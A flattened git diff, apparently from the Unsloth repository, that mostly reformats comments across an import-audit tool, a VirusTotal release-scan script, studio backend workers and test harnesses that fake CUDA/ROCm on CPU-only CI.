dict[str, set[str]] = {}target_by_use: dict[tuple[str, str], set[str]] = {}@@ -507,7 +497,6 @@ def _analyze(src: str):if status == "import":tids = {bd.target for bd in binds if bd.target}targets_by_scope.setdefault(scope.qualname, set()).update(tids)- # module-level binding info for clash checksmodule = b.modulemodule_imports = {n: bs@@ -520,7 +509,6 @@ def _analyze(src: str):if any(x.kind in ("import", "importfrom") for x in bs)and any(x.kind not in ("import", "importfrom") for x in bs)}- # ambiguous: any scope where a name is bound by import AND non-importambiguous: dict[str, set[str]] = {}def walk_scopes(scope: Scope):@@ -529,8 +517,8 @@ def _analyze(src: str):x.kind not in ("import", "importfrom") for x in bs):ambiguous.setdefault(scope.qualname, set()).add(n)- # scope tree isn't stored; approximate with module only.+ # scope tree isn't stored; approximate with module only.walk_scopes(module)return {"unresolved": unresolved,@@ -601,9 +589,9 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]))- # 2. HOISTED-IMPORT-UNUSED (core botched-hoist / wrong-rename signal)- # A module-level import in AFTER that NO load resolves to, that was either newly added- # by this change OR actually used before. Excludes relocation and stable re-exports.+ # 2. HOISTED-IMPORT-UNUSED (core botched-hoist / wrong-rename signal)+ # A module-level import in AFTER that NO load resolves to, that was either newly added by this change OR+ # actually used before. Excludes relocation and stable re-exports.for n, tids in b["module_import_targets"].items():if tids & after_used:continue # resolved -> fine@@ -612,13 +600,11 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]# import (e.g. `annotations` for lazy PEP 604 on py3.9) is not flagged.if all(t.startswith("from:__future__:") for t in tids):continue- # A name listed in __all__ in a package __init__ is an intentional public re-export: it is- # loaded by importers, not by this module, so "no load resolves to it here" is expected.- # Without this, adding any new re-export is an automatic blocker.- #- # Scoped to __init__.py deliberately: applied to every module defining __all__ it exempts- # 224 names across 27 non-package modules and disables rename-clash detection for them --- # one of the two bugs this tool exists to catch, and a reviewer-invisible way to switch it off.+ # A name listed in __all__ in a package __init__ is an intentional public re-export: it is loaded by importers,+ # not by this module, so "no load resolves to it here" is expected.+ # Scoped to __init__.py deliberately: applied to every module defining __all__ it exempts 224 names across 27+ # non-package modules and disables rename-clash detection for them, one of the two bugs this tool exists to+ # catch.if n in after_exported and _is_package_init(path):continuenewly_added = bool(tids - before_module_targets)@@ -638,15 +624,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]])# 3. TARGET-CHANGED (same scope+name resolves to a different import target)- # Only a *swap* is dangerous: a BEFORE target no longer reachable in AFTER means a- # reference was silently re-pointed. A pure superset growth (tbefore <= tafter) is the- # benign `import pkg.subA` + `import pkg.subB` case: both bind the same top-level name- # and only add submodule attributes, so nothing is lost -- skip it.- #- # A deliberate *relocation* is also benign: when a name keeps its spelling but its import- # source moves A -> B in THIS diff, the swap is intentional, not a silent re-point. This- # mirrors the relocation tolerance already applied to TARGET-MISSING. The dangerous case- # -- resolving to a target that already existed before (shadow/clash) -- is NOT exempted.+ # Only a *swap* is dangerous: a BEFORE target no longer reachable in AFTER means a reference was silently+ # re-pointed. A pure superset growth (tbefore <= tafter) is the benign `import pkg.subA` + `import pkg.subB`+ # case: both bind the same top-level name and only add submodule attributes, so nothing is lost, skip it.+ # A deliberate *relocation* is also benign: when a name keeps its spelling but its import source moves A -> B in+ # THIS diff, the swap is intentional, not a silent re-point. The dangerous case, resolving to a target that+ # already existed before (shadow/clash), is NOT exempted.removed_module_targets = before_module_targets - after_module_targetsfor key, tafter in b["target_by_use"].items():tbefore = a["target_by_use"].get(key)@@ -680,8 +663,8 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]for n in sorted(new):findings.append(("WARN", f"{path}: AMBIGUOUS-BIND '{n}' import+non-import in {scope}"))- # 6. TARGET-MISSING (informational): a scope stopped resolving to an import- # target. Real bugs are covered above; remaining cases are relocated code.+ # 6. TARGET-MISSING (informational): a scope stopped resolving to an import target. Real bugs are covered above;+ # remaining cases are relocated code.for scope, tbefore in a["targets_by_scope"].items():tafter = b["targets_by_scope"].get(scope, set())for t in sorted(tbefore - tafter):@@ -714,7 +697,7 @@ _SELF_TESTS = {"clean_rename": ("def f():\n import glob as _g\n return _g.glob('*')\n","import glob\ndef f():\n return glob.glob('*')\n",- None, # expect NO blocker+ None,),"clean_dedup_redundant": ("import sys\ndef f():\n import sys\n return sys.argv\n",@@ -722,7 +705,6 @@ _SELF_TESTS = {None,),"from_import_dangling": (- # from-import alias left un-normalized"def f():\n from importlib.metadata import version as _v\n return _v('x')\n","from importlib.metadata import version\ndef f():\n return _v('x')\n","BLOCKER",@@ -860,7 +842,7 @@ def audit_files(paths: list[str]) -> int:n_files += 1try:src = open(path, encoding = "utf-8").read()- except Exception as e: # unreadable+ except Exception as e:n_err += 1err_detail[path] = f"read: {e}"continue@@ -869,7 +851,7 @@ def audit_files(paths: list[str]) -> int:except SyntaxError:n_syntax += 1continue- except Exception as e: # analyzer crash -> robustness bug+ except Exception as e:n_err += 1err_detail[path] = f"{type(e).__name__}: {e}"continue@@ -880,7 +862,7 @@ def audit_files(paths: list[str]) -> int:continuepf = _pyflakes_undefined(path)if pf is None:- continue # pyflakes couldn't adjudicate; skip cross-check+ continuefalse_pos = tool_unresolved - pfif false_pos:n_fp += 1diff --git a/scripts/verify_prequant_backend.py b/scripts/verify_prequant_backend.pyindex e442c11115b..9ea2f7a66cc 100644--- a/scripts/verify_prequant_backend.py+++ b/scripts/verify_prequant_backend.py@@ -99,7 +99,8 @@ def run(mode, steps, seed, res):torch.cuda.empty_cache()if mode == "prequant":- # Local checkpoints are refused unless allowlisted; CKPT is operator-supplied and trusted.+ # Local checkpoints are refused unless allowlisted;+ # CKPT is operator-supplied and trusted.ckpt_dir = os.path.dirname(os.path.realpath(CKPT))existing = os.environ.get(ALLOW_LOCAL_PREQUANT_PATH_ENV, "")os.environ[ALLOW_LOCAL_PREQUANT_PATH_ENV] = (@@ -140,7 +141,7 @@ def run(mode, steps, seed, res):# Persist the dense reference peak so a later prequant run can enforce its VRAM win._RUNTIME_PEAK_FILE.write_text(f"{load_peak:.6f}")- img, dt = _gen(pipe, steps, seed, res) # warmup+ img, dt = _gen(pipe, steps, seed, res)img, dt = _gen(pipe, steps, seed, res)img.save(OUT / f"{mode}.png")print(f"[{mode}] gen={dt:.3f}s saved {mode}.png", flush = True)diff --git a/scripts/video_quality.py b/scripts/video_quality.pyindex 20ba3378a8c..8e679f50020 100644--- a/scripts/video_quality.py+++ b/scripts/video_quality.py@@ -158,7 +158,8 @@ def clip_metrics("""All frame metrics for one candidate clip vs the reference clip."""import numpy as np- # A truncated candidate is gated FAIL, not prefix-compared: good early frames would mask the missing tail.+ # A truncated candidate is gated FAIL, not prefix-compared: good early frames would mask the+ # missing tail.ref_count, cand_count = len(ref_frames), len(cand_frames)frame_count_mismatch = ref_count != cand_countn = min(ref_count, cand_count)@@ -295,8 +296,8 @@ def run_config("attention_backend": spec.get("attention_backend"),"transformer_cache": spec.get("transformer_cache"),"transformer_quant": spec.get("transformer_quant"),- # On MiniMax-H3 the conditioner precision is a backend default, so "the released bfloat16- # encoder" is a spec value rather than the absence of one.+ # On MiniMax-H3 the conditioner precision is a backend default, so "the released bfloat16 encoder" is a spec+ # value rather than the absence of one."text_encoder_quant": spec.get("text_encoder_quant"),}t0 = time.monotonic()diff --git a/scripts/virustotal_scan.py b/scripts/virustotal_scan.pyindex 58b43cc7cf2..6668d67b312 100644--- a/scripts/virustotal_scan.py+++ b/scripts/virustotal_scan.py@@ -36,13 +36,11 @@ from typing import Callable, Iterable, SequenceAPI_ROOT = "https://www.virustotal.com/api/v3"API_KEY_ENV = "VT_API_KEY"-# Signature sidecars are a few hundred bytes of base64 produced by the Tauri updater-# signer. They carry no executable content, so scanning them only burns quota.+# Signature sidecars are a few hundred bytes of base64 produced by the Tauri updater signer.SKIPPED_SUFFIXES = (".sig",)-# The public API allows 4 requests/minute. 20s between requests keeps us just inside-# that even if the runner clock and VirusTotal's window disagree slightly. A premium-# key can drop this to ~1s via --request-interval.+# The public API allows 4 requests/minute.+# 20s between requests keeps us just inside that even if the runner clock and VirusTotal's window disagree slightly.DEFAULT_REQUEST_INTERVAL = 20.0DEFAULT_TIMEOUT_SECONDS = 1500.0@@ -50,14 +48,12 @@ DEFAULT_TIMEOUT_SECONDS = 1500.0DEFAULT_FAIL_THRESHOLD = 0_MAX_ATTEMPTS = 4-# A failed upload means fetching a fresh signed URL, so this is deliberately-# small: each retry re-sends 40+ MB and spends two more requests of quota.+# A failed upload means fetching a fresh signed URL, so this is deliberately small: each retry re-sends 40+ MB and+# spends two more requests of quota._UPLOAD_ATTEMPTS = 2_SOCKET_TIMEOUT = 300.0# Transport contract: (method, url, headers, body, timeout) -> (status, response_bytes).-# Injected so the unit tests can exercise every branch without touching the network.-# `timeout` is the per-call socket budget, already clamped to the scan deadline.Transport = Callable[[str, str, "dict[str, str]", "bytes | None", float], "tuple[int, bytes]"]@@ -188,13 +184,11 @@ def _md_text(text: str) -> str:return escaped.replace("<", "<").replace(">", ">")-# Also written by the workflow's placeholder step, so a reader sees one heading-# whether or not the scan produced a summary.-#-# Says neither "pre-flight" nor "post-publish": the scan runs after-# `publish-release`, but `inputs.draft` defaults to true, so the ordinary run-# has uploaded the assets to a draft rather than published them. Naming the-# assets is the only wording true of both dispatches.+# Also written by the workflow's placeholder step, so a reader sees one heading whether or not the scan produced a+# summary.+# Says neither "pre-flight" nor "post-publish": the scan runs after `publish-release`, but `inputs.draft` defaults to+# true, so the ordinary run has uploaded the assets to a draft rather than published them. Naming the assets is the+# only wording true of both dispatches.SUMMARY_HEADING = "### VirusTotal release asset scan"@@ -386,30 +380,26 @@ class VirusTotalClient:if deadline is not None and self._clock() >= deadline:raise TimeoutError(f"deadline reached before {method} {_redact_url(url)}")self._throttle(deadline)- # Re-check: pacing sleeps between the check above and the call below, so- # without this a request could start after the deadline and then block- # for the full socket timeout, overrunning the step's own budget.+ # Re-check: pacing sleeps between the check above and the call below, so without this a request could start+ # after the deadline and then block for the full socket timeout, overrunning the step's own budget.if deadline is not None and self._clock() >= deadline:raise TimeoutError(f"deadline reached while pacing before {method} {_redact_url(url)}")try:- # Clamp the socket budget to what is left. Without this a call that- # starts just before the deadline can still block for the full- # socket timeout and consume the whole cushion the step relies on- # to write its summary.+ # Clamp the socket budget to what is left.socket_timeout = _SOCKET_TIMEOUTif deadline is not None:socket_timeout = max(1.0, min(socket_timeout, deadline - self._clock()))status, payload = self._transport(method, url, headers, body, socket_timeout)- except Exception as error: # network layer, DNS, TLS, truncated read+ except Exception as error:last_error = f"{type(error).__name__}: {error}"status, payload = 0, b""finally:self._last_request_at = self._clock()if status == 429:- # Quota or minute-rate exhaustion. Exponential backoff, then retry.+ # Quota or minute-rate exhaustion.last_error = "429 rate limited"if attempt < max_attempts:self._backoff(backoff * (2 ** (attempt - 1)), deadline)@@ -452,12 +442,9 @@ class VirusTotalClient:if status == 404:return Noneif not isinstance(payload, dict):- # A 200 whose body did not parse (a proxy error page, a truncated read)- # proves nothing about whether VirusTotal holds this file. Returning None- # here would be indistinguishable from a 404 and would upload the bundle,- # which is the one outcome the lookup exists to avoid: an unnecessary- # disclosure of an unreleased build. Fail closed and let the caller- # record the asset as unavailable instead.+ # A 200 whose body did not parse (a proxy error page, a truncated read) proves nothing about whether+ # VirusTotal holds this file. Returning None would be indistinguishable from a 404 and would upload the+ # bundle, disclosing an unreleased build. Fail closed instead.raise RuntimeError("VirusTotal hash lookup returned a malformed body")return payload@@ -486,8 +473,8 @@ class VirusTotalClient:upload_url = payload.get("data") if isinstance(payload, dict) else Noneif not isinstance(upload_url, str) or not upload_url:raise RuntimeError("VirusTotal did not return an upload URL")- # Mask before the URL is ever used, so anything that later echoes it -- a- # traceback, a future debug print, a library error string -- is scrubbed.+ # Mask before the URL is ever used, so anything that later echoes it -- a traceback, a future debug+ # print, a library error string -- is scrubbed._mask_in_actions(upload_url)try:@@ -511,11 +498,10 @@ class VirusTotalClient:if isinstance(payload, dict) and isinstance(payload.get("data"), dict):analysis_id = payload["data"].get("id")if not isinstance(analysis_id, str) or not analysis_id:- # An accepted upload whose acknowledgement did not parse is a failed- # attempt, not a dead end: VirusTotal may well be analysing the file- # already. Raising straight out would report the asset unavailable- # after we had paid the disclosure cost of sending it, so spend the- # remaining attempt on a fresh signed URL instead.+ # An accepted upload whose acknowledgement did not parse is a failed attempt, not a dead end:+ # VirusTotal may well be analysing the file already. Raising straight out would report the asset+ # unavailable after we had paid the disclosure cost of sending it, so spend the remaining attempt+ # on a fresh signed URL instead.last_error = RuntimeError("VirusTotal upload did not return an analysis id")if attempt < attempts:continue@@ -527,8 +513,8 @@ class VirusTotalClient:def wait_for_analysis(self, analysis_id: str, deadline: float) -> object:"""Poll until the analysis completes or the caller's deadline passes."""while True:- # Checked inside request() too, but raising the analysis-specific message- # here keeps the summary row readable.+ # Checked inside request() too, but raising the analysis-specific message here keeps the summary row+ # readable.if self._clock() >= deadline:raise TimeoutError(f"analysis {analysis_id} did not complete before the deadline")_, payload = self.request(@@ -746,13 +732,10 @@ def main(argv: Sequence[str] | None = None) -> int:args.output_markdown.write_text(text, encoding = "utf-8")if not api_key:- # A missing secret must never break a release: forks and re-runs by- # contributors without the org secret still have to be able to publish.- # The env var NAME is written out literally rather than interpolated from- # API_KEY_ENV. Formatting a constant whose name ends in _KEY into a log- # line trips CodeQL's py/clear-text-logging-sensitive-data heuristic, and- # this repo uses CodeQL default setup, so there is no config to filter it- # on. test_missing_key_skips_without_failing asserts the two stay in step.+ # A missing secret must never break a release: forks and re-runs by contributors without the org secret still+ # have to be able to publish.+ # The env var NAME is written out literally rather than interpolated from API_KEY_ENV.+ # test_missing_key_skips_without_failing asserts the two stay in step.print("virustotal_scan: VT_API_KEY is unset or empty; skipping the scan.",flush = True,diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.pyindex 3d9c285d236..1fe8d99faa1 100644--- a/studio/backend/core/export/worker.py+++ b/studio/backend/core/export/worker.py@@ -645,6 +645,7 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None)return+ # ── 4. Command loop - process commands until shutdown ──# ── 4. Command loop — process commands until shutdown ──logger.info("Export subprocess ready, entering command loop")diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.pyindex f4050f07351..312ccd579a2 100644--- a/studio/backend/core/inference/worker.py+++ b/studio/backend/core/inference/worker.py@@ -713,7 +713,7 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:try:for cumulative_text in generator:- # cancel_event is an mp.Event — checked instantly, no queue polling.+ # cancel_event is an mp.Event - checked instantly, no queue polling.if cancel_event.is_set():logger.info("Generation cancelled for request %s", request_id)break@@ -1125,7 +1125,7 @@ def run_inference_process(mask_accelerators_for_cpu_audio(os.environ)logger.info("Audio model '%s' pinned to CPU RAM; accelerators hidden", model_name)- # ── 0. MLX fast-path — skip torch/transformers ──+ # ── 0. MLX fast-path - skip torch/transformers ──_ensure_backend_on_path()if is_apple_silicon():diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.pyindex 76ab16964bd..53295c87419 100644--- a/studio/backend/core/training/worker.py+++ b/studio/backend/core/training/worker.py@@ -4758,7 +4758,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->tensorboard_dir = str(resolve_tensorboard_dir(tensorboard_dir))ensure_dir(Path(tensorboard_dir))- # Start training directly — no inner thread, we ARE the subprocess.+ # Start training directly - no inner thread, we ARE the subprocess.dataset_display = config.get("hf_dataset", "") or config.get("uploaded_file", "") or ""_send_status(event_queue,diff --git a/studio/backend/main.py b/studio/backend/main.pyindex f5f44f1eb10..541554d5575 100644--- a/studio/backend/main.py+++ b/studio/backend/main.py@@ -2575,7 +2575,7 @@ def setup_frontend(file_path = (build_path / full_path).resolve()- # Block path traversal — resolved path must stay inside build_path+ # Block path traversal - resolved path must stay inside build_pathif not file_path.is_relative_to(build_path.resolve()):return Response(status_code = 403)@@ -2589,7 +2589,7 @@ def setup_frontend(if is_engine_probe_path(full_path):raise HTTPException(status_code = 404, detail = "API endpoint not found")- # Serve index.html as bytes — avoids Content-Length mismatch+ # Serve index.html as bytes - avoids Content-Length mismatchreturn _build_index_response(request)# The catch-all above is what 404s a GET probe. The lifespan reads this to decidediff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.pyindex afb81f923c5..8ea2f1f0102 100644--- a/studio/backend/routes/inference.py+++ b/studio/backend/routes/inference.py@@ -21103,7 +21103,7 @@ async def produce_openai_chat_completions(# verbatim so structured `tool_calls` flow back to the client. This# branch runs BEFORE `_extract_content_parts` because that helper is# unaware of `role="tool"` messages and assistant messages that only- # carry `tool_calls` (content=None) — both of which are valid in+ # carry `tool_calls` (content=None) - both of which are valid in# multi-turn client-side tool loops.effective_max_tokens = _effective_openai_max_tokens(payload)@@ -25510,7 +25510,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(geasync def _stream():# Manual httpx client/response lifecycle AND explicit iterator- # close — see _anthropic_passthrough_stream for the full rationale.+ # close - see _anthropic_passthrough_stream for the full rationale.# Saving the iterator and closing it in the finally block avoids the# Python 3.13 + httpcore 1.0.x "Exception ignored in:# <async_generator>" / anyio cancel-scope trace.diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.pyindex 382d71d022c..5b436b7ef62 100644--- a/studio/backend/tests/test_openai_tool_passthrough.py+++ b/studio/backend/tests/test_openai_tool_passthrough.py@@ -359,7 +359,8 @@ class TestFriendlyUpstreamError:# =====================================================================-# ChatMessage — tool role, tool_calls, optional content++# ChatMessage - tool role, tool_calls, optional content# =====================================================================@@ -527,7 +528,8 @@ class TestChatMessageToolRoles:# =====================================================================-# ChatCompletionRequest — standard OpenAI tool fields++# ChatCompletionRequest - standard OpenAI tool fields# =====================================================================@@ -2440,7 +2442,8 @@ class TestChatCompletionRequestToolFields:# =====================================================================-# anthropic_tool_choice_to_openai — pure translation helper++# anthropic_tool_choice_to_openai - pure translation helper# =====================================================================@@ -2471,7 +2474,8 @@ class TestAnthropicToolChoiceToOpenAI:# =====================================================================-# _build_passthrough_payload — tool_choice propagation++# _build_passthrough_payload - tool_choice propagation# =====================================================================@@ -2778,6 +2782,8 @@ class TestOpenAIPassthroughSSETerminalState:assert _normalize_openai_passthrough_sse_line("data: [DONE]") == "data: [DONE]"+# =====================================================================+# =====================================================================# Passthrough reasoning kwargs — enable_thinking / reasoning_effort /# preserve_thinking must reach llama-server via chat_template_kwargs,@@ -2889,7 +2895,8 @@ class TestPassthroughReasoningKwargs:# =====================================================================-# OpenAI API compatibility helpers — verified spec edge cases++# OpenAI API compatibility helpers - verified spec edge cases# =====================================================================@@ -3453,7 +3460,8 @@ class TestOpenAICompatibilityHelpers:# =====================================================================-# _friendly_error — httpx transport failures++# _friendly_error - httpx transport failures# =====================================================================@@ -3479,7 +3487,7 @@ class TestFriendlyErrorHttpx:def test_non_httpx_unchanged(self):# Non-httpx exceptions still fall through to the substring heuristics- # — a context-size message must still produce "Message too long".+ # - a context-size message must still produce "Message too long".ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)"assert "Message too long" in _friendly_error(ValueError(ctx_msg))@@ -10162,6 +10170,8 @@ class TestApiMonitorAudioInput:asyncio.run(_run())+# =====================================================================+# =====================================================================# Responses API -> Chat Completions translation: chat_template_kwargs# (e.g. {"enable_thinking": true}) sent via the Responses extra-body must@@ -10322,6 +10332,8 @@ class TestResponsesChatTemplateKwargs:asyncio.run(_run())+# =====================================================================+# =====================================================================# GGUF chat-template role alternation: coalesce orphaned user turns left# behind when an empty assistant turn is dropped, so strict templatesdiff --git a/tests/_shared/unsloth_pwsh_runner.py b/tests/_shared/unsloth_pwsh_runner.pyindex d99bab81825..28207b79a66 100644--- a/tests/_shared/unsloth_pwsh_runner.py+++ b/tests/_shared/unsloth_pwsh_runner.py@@ -53,8 +53,8 @@ import signalimport subprocessimport tempfile-# pwsh aborting mid-flight prints this and leaves stdout empty while still exiting through-# the normal path, so unlike the SIGABRT case there is no signal to key on.+# pwsh aborting mid-flight prints this and leaves stdout empty while still exiting through the normal path, so unlike+# the SIGABRT case there is no signal to key on.PWSH_CRASH_BANNER = "The PowerShell process will exit"# Resolved once. `None` on a box with no PowerShell, which is what the skipif guards read.@@ -116,18 +116,17 @@ class PwshInterpreterCrash(AssertionError):def _crash_reason(proc: subprocess.CompletedProcess) -> str | None:"""Why this run produced no verdict, or None if it produced one."""if proc.returncode < 0:- # Popen reports "killed by signal N" as -N. .NET's stack-overflow failfast is- # SIGABRT; a SIGSEGV or a SIGKILL from the OOM killer would land here too, and all- # three mean the same thing to us: the script did not run to its end.+ # Popen reports "killed by signal N" as -N. .NET's stack-overflow failfast is SIGABRT; a SIGSEGV or a SIGKILL+ # from the OOM killer would land here too, and all three mean the same thing to us: the script did not run to+ # its end.try:name = signal.Signals(-proc.returncode).nameexcept ValueError:name = f"signal {-proc.returncode}"return f"killed by {name}"- # Only inspectable when the caller captured the streams; a call site that streams to the- # console gets the signal check alone, which is the case that actually bit CI. The- # byte-level tests capture without `text = True`, so the banner is searched for in- # whichever form the caller asked for rather than assuming str.+ # Only inspectable when the caller captured the streams; a call site that streams to the console gets the signal+ # check alone, which is the case that actually bit CI. The byte-level tests capture without `text = True`, so the+ # banner is searched for in whichever form the caller asked for rather than assuming str.captured = [stream for stream in (proc.stdout, proc.stderr) if stream]if any(isinstance(stream, bytes) for stream in captured):streams = b"".join(@@ -170,9 +169,8 @@ def run_pwsh(if attempts < 1:raise ValueError(f"attempts must be >= 1, got {attempts}")- # Redirect only pwsh's own startup cache, leaving every other variable as the call site- # meant it: `env = None` still means "inherit", and a hermetic env dict still gets- # exactly the keys it listed plus this one. See _pwsh_cache_dir for the measurement.+ # Redirect only pwsh's own startup cache, leaving every other variable as the call site meant it: `env = None`+ # still means "inherit", and a hermetic env dict still gets exactly the keys it listed plus this one.env = kwargs.get("env")env = dict(os.environ if env is None else env)env["XDG_CACHE_HOME"] = _pwsh_cache_dir()diff --git a/tests/_zoo_aggressive_cuda_spoof.py b/tests/_zoo_aggressive_cuda_spoof.pyindex 2bbbc52b3bf..44b4f58b1b0 100644--- a/tests/_zoo_aggressive_cuda_spoof.py+++ b/tests/_zoo_aggressive_cuda_spoof.py@@ -1,12 +1,8 @@-# Auto-generated by .github/workflows/consolidated-tests-ci.yml.-# Aggressive CUDA spoof for the consolidated CPU-only CI job. Extends-# tests/conftest.py's harness with deeper patches that unblock more patch_* /-# unsloth_zoo init paths on a GPU-less runner. Imported by every shim test-# file before any unsloth / unsloth_zoo / transformers import.-#-# Only no-op or value-returning patches; tensor allocators are NOT replaced.-# The one exception is dropping `pin_memory=True` (meaningless here), which-# downgrades a CUDA-required call to CPU-OK.+# Auto-generated by .github/workflows/consolidated-tests-ci.yml. Aggressive CUDA spoof for the consolidated CPU-only CI+# job. Extends tests/conftest.py's harness with deeper patches that unblock more patch_* / unsloth_zoo init paths on a+# GPU-less runner. Imported by every shim test file before any unsloth / unsloth_zoo / transformers import. Only no-op+# or value-returning patches; tensor allocators are NOT replaced. The one exception is dropping `pin_memory=True`+# (meaningless here), which downgrades a CUDA-required call to CPU-OK.from __future__ import annotations@@ -22,21 +18,17 @@ def apply() -> None:if getattr(torch.cuda, "_unsloth_consolidated_spoof", False):return- # Settle bitsandbytes against the real torch first. Its __init__ does- # `if torch.cuda.is_available(): from .backends.cuda import ops`, and that- # module reads torch._C._cuda_getCurrentRawStream at import. On a CPU-only- # wheel that attribute is absent, so a bitsandbytes imported AFTER this- # spoof raises AttributeError (or OSError hunting libhipblas for the ROCm- # spoof) rather than ImportError, which slips past the `except ImportError`- # guards its importers use. Importing it here, while is_available() is- # still False, caches the CPU path in sys.modules for everything that- # follows.+ # Settle bitsandbytes against the real torch first. Its __init__ does `if torch.cuda.is_available(): from+ # .backends.cuda import ops`, and that module reads torch._C._cuda_getCurrentRawStream at import. On a CPU-only+ # wheel that attribute is absent, so a bitsandbytes imported AFTER this spoof raises AttributeError (or OSError+ # hunting libhipblas for the ROCm spoof) rather than ImportError, which slips past the `except ImportError` guards+ # its importers use. Importing it here, while is_available() is still False, caches the CPU path in sys.modules for+ # everything that follows.try:import bitsandbytes # noqa: F401except Exception:pass- # Device probes (cheap, value-returning)torch.cuda.is_available = lambda: Truetorch.cuda.device_count = lambda: 1torch.cuda.current_device = lambda: 0@@ -60,17 +52,16 @@ def apply() -> None:torch.cuda.get_device_properties = lambda *a, **k: _Props() # type: ignore[assignment]- # cudart() wrapperclass _CudaRt:@staticmethoddef cudaMemGetInfo(device: int = 0):- # (free, total), where `torch.cuda.mem_get_info` delegates. Zero free- # is an exhausted card, and the fused loss raises instead of chunking.+ # (free, total), where `torch.cuda.mem_get_info` delegates. The free half is deliberately nonzero:+ # zero free reads as an exhausted card, and the fused loss raises instead of chunking.return (60 * 1024**3, 80 * 1024**3)@staticmethoddef cudaGetDeviceCount(*_a, **_k):- return 0 # unused on the spoof path+ return 0@staticmethoddef cudaSetDevice(*_a, **_k):@@ -78,7 +69,6 @@ def apply() -> None:torch.cuda.cudart = lambda: _CudaRt() # type: ignore[assignment]- # memory moduletry:import torch.cuda.memory as _cuda_memory # type: ignore@@ -92,7 +82,6 @@ def apply() -> None:except Exception:pass- # nvtx no-op stubnvtx_stub = types.ModuleType("torch.cuda.nvtx")nvtx_stub.range_push = lambda *a, **k: None # type: ignore[attr-defined]nvtx_stub.range_pop = lambda *a, **k: None # type: ignore[attr-defined]@@ -100,14 +89,12 @@ def apply() -> None:sys.modules.setdefault("torch.cuda.nvtx", nvtx_stub)torch.cuda.nvtx = nvtx_stub # type: ignore[attr-defined]- # random API- # CRITICAL: torch.manual_seed() calls torch.cuda.manual_seed_all(), so- # routing the cuda seed APIs back through torch.manual_seed would- # infinite-recurse. No-op them; CUDA seeding is meaningless on CPU.+ # CRITICAL: torch.manual_seed() calls torch.cuda.manual_seed_all(), so routing the cuda seed APIs back through+ # torch.manual_seed would infinite-recurse. No-op them; CUDA seeding is meaningless on CPU.torch.cuda.manual_seed = lambda *a, **k: None # type: ignore[assignment]torch.cuda.manual_seed_all = lambda *a, **k: None # type: ignore[assignment]- # rng_state APIs: return a CPU-shaped placeholder; do NOT route through- # torch.{get,set}_rng_state (those touch the CPU RNG).+ # rng_state APIs return a CPU-shaped placeholder; do NOT route through torch.{get,set}_rng_state (those touch the+ # CPU RNG).import torch as _t_empty_rng_state = _t.empty(0, dtype = _t.uint8)@@ -119,7 +106,6 @@ def apply() -> None:torch.cuda.seed = lambda *a, **k: None # type: ignore[assignment]torch.cuda.seed_all = lambda *a, **k: None # type: ignore[assignment]- # Stream / Event no-op classesclass _NoopStream:def __init__(self, *a, **k): ...def __enter__(self):@@ -213,7 +199,6 @@ def apply() -> None:sys.modules.setdefault("torch.cuda.amp", cuda_amp)torch.cuda.amp = cuda_amp # type: ignore[attr-defined]- # Sentineltorch.cuda._unsloth_consolidated_spoof = True # type: ignore[attr-defined]diff --git a/tests/_zoo_rocm_spoof.py b/tests/_zoo_rocm_spoof.pyindex f5dd0901489..885db5861f7 100644--- a/tests/_zoo_rocm_spoof.py+++ b/tests/_zoo_rocm_spoof.py@@ -14,8 +14,9 @@ import importlib.utilimport osimport sys-# gfx -> (marketing name, (capability major, minor), torch.version.hip). hip is-# the ROCm build torch was made against (RDNA2/3 ship 6.x; gfx1102/115x/RDNA4 7.2).+# gfx -> (marketing name, (capability major, minor), torch.version.hip).+# hip is the ROCm build torch was made against (RDNA2/3 ship 6.x;+# gfx1102/115x/RDNA4 7.2)._PROFILES: dict[str, tuple[str, tuple[int, int], str]] = {"gfx1030": ("AMD Radeon RX 6900 XT", (10, 3), "6.4.43483"), # RDNA2"gfx1031": ("AMD Radeon RX 6700 XT", (10, 3), "6.4.43483"),@@ -56,7 +57,6 @@ def apply(gfx: str = "gfx1100", device_count: int = 1) -> None:_cuda_spoof().apply() # is_available/device_count/streams/rng/amp/...- # Overlay the AMD identity on top of the (NVIDIA-shaped) CUDA spoof.torch.version.hip = hiptorch.version.cuda = Nonetorch.cuda.device_count = lambda: device_countdiff --git a/tests/conftest.py b/tests/conftest.pyindex 08ea1b505c7..9e082c432d2 100644--- a/tests/conftest.py+++ b/tests/conftest.py@@ -27,7 +27,6 @@ for _up in _iso.parents:_mod = _ilu.module_from_spec(_spec)_spec.loader.exec_module(_mod) # sets the env vars on importbreak-# -----------------------------------------------------------------------------------# --- shared test helpers on sys.path -----------------------------------------------# tests/_shared holds no package marker and pytest only puts a *test file's* own@@ -40,6 +39,7 @@ import sys as _sys # noqa: E402_shared_dir = _iso.parent / "_shared"if _shared_dir.is_dir() and str(_shared_dir) not in _sys.path:_sys.path.insert(0, str(_shared_dir))+# -----------------------------------------------------------------------------------import importlib.util@@ -140,8 +140,7 @@ def _patch_torch_cuda_for_import() -> None:try:import torch.cuda.memory as _cuda_memory # type: ignore- # (free, total). Zero free is an exhausted card, which callers that size- # against it treat as fatal.+ # (free, total). Zero free is an exhausted card, which callers that size against it treat as fatal._cuda_memory.mem_get_info = lambda *a, **k: (60 * 1024**3, 80 * 1024**3)except Exception:passdiff --git a/tests/fast_inference/test_fast_inference.py b/tests/fast_inference/test_fast_inference.pyindex af4960b5d97..0eea3361ce7 100644--- a/tests/fast_inference/test_fast_inference.py+++ b/tests/fast_inference/test_fast_inference.py@@ -30,7 +30,7 @@ import torchfrom tests.utils import header_footer_context-# Spins up a real inference path on the accelerator. CI runs it under `-m gpu`.+# Spins up a real inference path on the accelerator.pytestmark = pytest.mark.gpu@@ -40,23 +40,23 @@ LORA_RANK = 